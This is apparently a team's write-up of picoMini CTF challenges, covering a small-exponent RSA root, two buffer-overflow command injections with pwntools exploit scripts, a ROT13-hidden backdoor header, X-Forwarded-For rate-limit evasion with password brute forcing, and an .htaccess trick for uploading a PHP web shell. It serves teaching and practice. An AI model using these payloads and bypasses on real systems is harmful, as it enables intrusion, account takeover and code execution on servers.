WannaWeekly - picoMini Write Up

My team's write up for picoMini challenges

Crack the Power

Information

  • Category: Cryptography
  • Points: 200
  • Level: Mediun

    Description

    We received an encrypted message. The modulus is built from primes large enough that factoring them isn’t an option, at least not today. See if you can make sense of the numbers and reveal the flag.

Check out the message.txt

Hint

  • When certain values in the encryption setup are smaller than usual, it opens up unexpected shortcuts to recover the plaintext
  • Consider whether you can invert the encryption without factoring n.
  • Read more about Coppersmith’s_attack

Solution

  • The ciphertext c is an exact 20th power (e = 20) and c < n, so no modular reduction occurred. That means c = m^20 as an ordinary integer; the plaintext m is the integer 20th root of c. Taking the integer 20th root gives m, then interpreting m as ASCII (big-endian) yields the flag.
  • Steps performed:
    • Checked sizes: bit-length(n) = 4096, bit-length(c) = 3817, so c < n.
    • Tested if c is a perfect 20th power: computed integer 20th root r and verified r*20 = c.
    • Converted r to bytes (big-endian) and decoded as UTF-8/ASCII.
  • Here is the code base on the idea:
      # integer 20th root + decode
      n = 533243488792862526372864876487972015558476758084609639178291036484536762505979244575533494210179721177427612771444407165530737395944304851576273837105495020943760864245479306542618510002482474205862628204754196547924816628892644743540164970080388264526664248913696849148511425119255713671555416474973315839345017109824349893148010866455964358290544676511280543217186127743655857081371266713418694384527145401015511524745607914050255166221258834450684893705781511821844099395903932453564599894459275163009075209010199883501651757350477674519968763648475565430724363201051610217288763953319606365780667742478503606233888576859352722076809743684159343050898842311263764404893493176121977631476550921422327027258721388423326937059110923457460318030756901735245816197255660210845666156979473229120283130937189483368618326646610727925656879968174934753321650897057490428159791619097768973322371191856903689557867217303295355238763695188844446446602773352153629404043068408327644141268659241706653484034372802622781271068072117494280260640208531182757711538823636556838888270621163106401504142980355241645849845227422621208433428766255132294103187339176714507386483525599169807412246213070204955287044372351174991253525495483482644039752259
      e = 20
      c = 640637430810406857500566702096274084238635318236179213474171471762962924031143406771762588590902396470755916529600404366017178856626504741264100246977770193177982321362431635239123331391332283310413781431317549724468046316011302717443301165248044916895605360942507583028357810072669019236437156021816483243897608716222651423340065746814875027190173089290179247176013883045798188232610328606575842929711953488636313111201073364434975416304861734107255474444898256437810232659581724786888468502454545178277401729068994688903655623034819685425430186901945673259366517562372649145103691296871839480367338134748035927612049747953193375204813837077096417935374925353519278729502554398818207750243092444833079944911226317963218327666226602587092863946963826671637061083175873944168270391171031158543469061673239737214705264979925667174942748269782844201684882259905429257929174592217288529234346005812956484839757692101317938929998836230049852549655586558526707728788020998340767097021929454867673939894353379731654252811545277025372592862223748563679444476115932107120123555249896845005062698950234571360385178811724060146325198188855919677023470832794001
    
      # integer nth root function
      def integer_nth_root(a, n):
          if a == 0: return 0, True
          low = 1
          high = 1 << ((a.bit_length() + n -1)//n + 1)
          while low <= high:
              mid = (low+high)//2
              p = mid**n
              if p == a:
                  return mid, True
              if p < a:
                  low = mid+1
              else:
                  high = mid-1
          return high, False
    
      r, ok = integer_nth_root(c, e)
      assert ok and r**e == c
      # decode
      hexm = hex(r)[2:]
      if len(hexm)%2: hexm = '0' + hexm
      flag = bytes.fromhex(hexm).decode()
      print(flag)  
    

The flag is picoCTF{t1ny_e_f053d79c}

Input Injection 1

Information

  • Category: Pwn
  • Point:
  • Level: Medium

Description

A friendly program wants to greet you… but its goodbye might say more than it should. Can you convince it to reveal the flag?

Additional details will be available after launching your challenge instance.

Connect to server via $ nc amiable-citadel.picoctf.net <PORT>

Hint

  • Look closely at how the program stores and uses your input.

Solution

What we got?

  • The problem gives us the src code of the server:
      #include <string.h>
      #include <stdio.h>
      #include <stdlib.h> 
    
      void fun(char *name, char *cmd);
    
      int main() {
          char name[200];
          printf("What is your name?\n");
          fflush(stdout);
    
    
          fgets(name, sizeof(name), stdin);
          name[strcspn(name, "\n")] = 0;
    
          fun(name, "uname");
          return 0;
      }
    
      void fun(char *name, char *cmd) {
          char c[10];
          char buffer[10];
    
          strcpy(c, cmd);
          strcpy(buffer, name);
    
          printf("Goodbye, %s!\n", buffer);
          fflush(stdout);
          system(c);
      }
    
    • The code asks the user for their name, stores up to 199 bytes of input in name, removes the trailing newline, and then calls fun(name, "uname"). Inside fun, two small 10‑byte arrays—c and buffer—are created on the stack, and "uname" is copied into c. Then the user‑supplied name is copied into buffer using strcpy, which blindly copies all bytes until a null terminator. The program prints “Goodbye, !” using the content of `buffer`, and finally executes the command stored in `c` via `system(c)`. Because `buffer` is smaller than the input allowed for `name`, copying `name` into `buffer` can overflow into `c` and change the command that gets executed, which is the root of the program’s vulnerability.

How to get the flag ?

  • Base on the explanation, we see that the size of buffer is only 10, however, name’s size is 200. So our method can be buffer overflow to exploit to get flag.

      from pwn import *
    
      HOST = "amiable-citadel.picoctf.net"
      PORT = 50945
    
      p = remote(HOST, PORT)
      p.recvuntil(b"name?")
      p.recvline()
    
      name = b"a"*10 + b"cat flag.txt\n" # Injection happens here
      p.sendline(name) 
    
      byeline = p.recvline()
      flag = p.recvline()
      print(flag)
    
  • The flag is picoCTF{0v3rfl0w_c0mm4nd_22530a1b}

Input Injection 2

Information

  • Category: Pwn
  • Point:
  • Level: Medium

Description

This program greets you and then runs a command. But can you take control of what command it executes?

Connect to server via $ nc amiable-citadel.picoctf.net <PORT>

Hint

  • Notice how username and shell are both heap-allocated.
  • Offsets often hide in the memory addresses you see at runtime.
  • Try to overwrite what command gets executed.

Solution

What we got?

  • The problem gives us a src code:
      #include <stdio.h>
      #include <stdlib.h>
      #include <string.h>
    
    
      int main(void) {
          char* username = malloc(28);
          char* shell = malloc(28);
            
          printf("username at %p\n", username);
          fflush(stdout);
          printf("shell at %p\n", shell);
          fflush(stdout);
            
          strcpy(shell, "/bin/pwd");
            
          printf("Enter username: ");
          fflush(stdout);
          scanf("%s", username);
            
          printf("Hello, %s. Your shell is %s.\n", username, shell);
          system(shell);
          fflush(stdout);
            
          return 0;
      }
    
    • Explanation: The program allocates two 28‑byte buffers on the heap—username and shell—and prints their memory addresses so the user can see where they are stored. It then copies the string "/bin/pwd" into the shell buffer and prompts the user to enter a username. Because scanf("%s") does not restrict input length, whatever the user types is written directly into the username buffer, potentially overflowing into adjacent memory. After the input is stored, the program prints a greeting using both buffers and then calls system(shell), which runs the command stored inside the shell string. If the user input was longer than 28 bytes, it can overwrite the contents of shell, allowing the executed command to be changed. This makes the program vulnerable to a heap‑based buffer overflow that can lead to unintended command execution.

How to get the flag ?

  • Run the code, we can see the address of username and shell. Because the program uses scanf("%s") on a 28‑byte username allocation, the attacker can overflow username and overwrite the contents of shell, which is later passed to system().
  • We have the script to crack:
      from pwn import *
    
      HOST = "amiable-citadel.picoctf.net"
      PORT = 58596
    
      p = remote(HOST, PORT)
      user_address = int(p.recvline().strip().split()[-1], 16)
      shell_address = int(p.recvline().strip().split()[-1], 16)
      diff = shell_address - user_address
    
      p.recvuntil(b"username: ")
    
      name = b"A" * diff + b"cat<$(ls)\n"
      p.sendline(name)
      flag = p.recvline()
      print(flag)
    
  • The script calculates the distance between the two heap buffers (diff = shell_address - user_address) and sends an input consisting of diff bytes of padding ("A" * diff) so that the overflow lands exactly on the shell string. It then appends the payload cat<$(ls) so that, once system(shell) executes, the program runs a command that lists the files on the server and prints the contents of whichever file appears first—typically exposing the challenge flag. After sending this crafted input, the script reads and prints the resulting line, which contains the flag.
  • Run it and we will have the flag:

    Flag

Crack the Gate 1

Information

  • Category: Web Exploitation
  • Points: 100
  • Level: Easy

Description

For this challenge, we have access to a web application that we must log into. There is no option to create an account, so we will have to find credentials in another way.

Hint

  1. Developers sometimes leave notes in the code; but not always in plain text.
  2. A common trick is to rotate each letter by 13 positions in the alphabet.

Solution

When checking the source code of the page, we come across this:

Base on the hints, the HTML comments we find is encoded in ROT13. So we need to decode it. This is the ROT13 decoding code:

#include <bits/stdc++.h>
using namespace std;

// ABGR: Wnpx - grzcbenel olcnff: hfr urnqre "K-Qri-Npprff: lrf"

int main () {
    string lower_encrypted = "#nopqrstuvwxyzabcdefghijklm";
    string lower_alphabet = "#abcdefghijklmnopqrstuvwxyz";
    string higher_encrypted = "#NOPQRSTUVWXYZABCDEFGHIJKLM";
    string higher_alphabet = "#ABCDEFGHIJKLMNOPQRSTUVWXYZ";
    
    string plaintext;
    getline(cin, plaintext);
    int n = plaintext.size();
    for(int i=0; i<n; i++) {
    	if (plaintext[i] >= 'a' and plaintext[i] <= 'z') {
    	    int index = int(plaintext[i]) - 'a' + 1;
    	    cout << lower_encrypted[index];
    	} else if (plaintext[i] >= 'A' and plaintext[i] <= 'Z') {
    	    int index = int(plaintext[i]) - 'A' + 1;
    	    cout << higher_encrypted[index];
    	} else cout << plaintext[i];
    }
    cout << endl;
}

Checking the code result, we find this:

According to this message, we can use the header X-Dev-Access:yes, which is a backdoor left by the developers. To do this, we can use BurpSuite.

After intercepting and adding the header X-Dev-Access:yes to the request (along with any password), we can find the flag.

Crack the Gate 2

Information

  • Category: Web Exploitation
  • Points: 200
  • Level: Medium

Description

Our task is to bypass the rate-limiting restriction and log in using the known email address: ctf-player@picoctf.org and uncover the hidden secret.

Here is the website:

And it gives us the list of passwords:

H3ZdQe9D
4s8RNXkB
G9YKC9r1
J49Q5uuo
ZARenM3b
X68f2Ftm
7IAgfz9e
nL7PeR6k
qz78oOR2
3bVphvph
KbZ5onCD
EfM5yTy8
h9KlW1Gj
oB0UKZ5X
rDRrlgst
xo5MjIYU
K6vkD1ev
yatrLaBx
TcBmTccF
yxMq7WAz

Hint

  • What IP does the server think you’re coming from?
  • Read more about X-forwarded-For
  • You can rotate fake IPs to bypass rate limits.

Solution

  • After testing some wrong password with the same source, we receive a 20-minute time-out. So for each password, we have to tried with another IP Address. Header X-Forwarded-For can be used to provide the source IP. We can use BurpSuite to try to login to the web with a random IP Address and a password.
  • Brute Force until the flag is returned.

The flag is picoCTF{xff_byp4ss_brut3_3477bf15}

byp4ss3d

Information

  • Category: Web Exploitation
  • Points: 300
  • Level: Medium

Description

This challenge asks us to bypass a registration portal that only allows students to upload ID images. The portal enforces image-only filters, so only files with image extensions are accepted.

Here is the website:

Hint

  • Apache can be tricked into executing non-PHP files as PHP with a .htaccess file.
  • Try uploading more than just one file.

Solution

The website checks for image file extensions like .jpg, .png, and .gif before allowing uploads. However, the server uses Apache, which can be manipulated using a .htaccess file. By uploading a .htaccess file, we can instruct Apache to treat files with image extensions as PHP scripts, allowing us to upload a PHP shell disguised as an image.

Read more about .htaccess files.

Create files

  • .htaccess file: This file configures Apache to process files with .jpg, .png, and .gif extensions as PHP code. This is the key to bypassing the image-only filter.

  • shell.jpg file: This file contains PHP code. When Apache processes it as a PHP script (thanks to the .htaccess), it allows us to execute system commands by passing them as parameters.

Uploading the files and Executing commands

  1. Upload the .htaccess file and the shell.jpg file to the server.
  2. After uploading, both files appear in the /images/ directory:
  3. To check if the shell works, use the ls command to list directory contents:
  4. Use the find command to search for the flag file (find / -name "*flag*"). The flag file is found in /var/www/:
  5. Finally, use the cat command to read the flag (cat /var/www/flag.txt):
The flag is picoCTF{s3rv3r_byp4ss_0c257942}

Conclusion

The main bug in this website is that it only checks file extensions to enforce image uploads, but does not validate the actual file content or restrict server-side configuration changes. Because Apache allows .htaccess files to override how files are handled, an attacker can upload a .htaccess file to make the server treat image files as PHP scripts. This lets a malicious user upload a PHP shell disguised as an image and execute arbitrary code on the server.

Scripted summary of the bug:

  1. User uploads .htaccess file, changing Apache’s behavior to treat .jpg, .png, .gif files as PHP.
  2. User uploads a PHP shell with an image extension (e.g., shell.jpg).
  3. Server executes the shell as PHP, allowing command execution.
  4. Attacker gains access to sensitive files and system commands.

Root cause:

  • The website relies only on file extension checks and allows .htaccess uploads, enabling attackers to change server behavior and bypass security restrictions.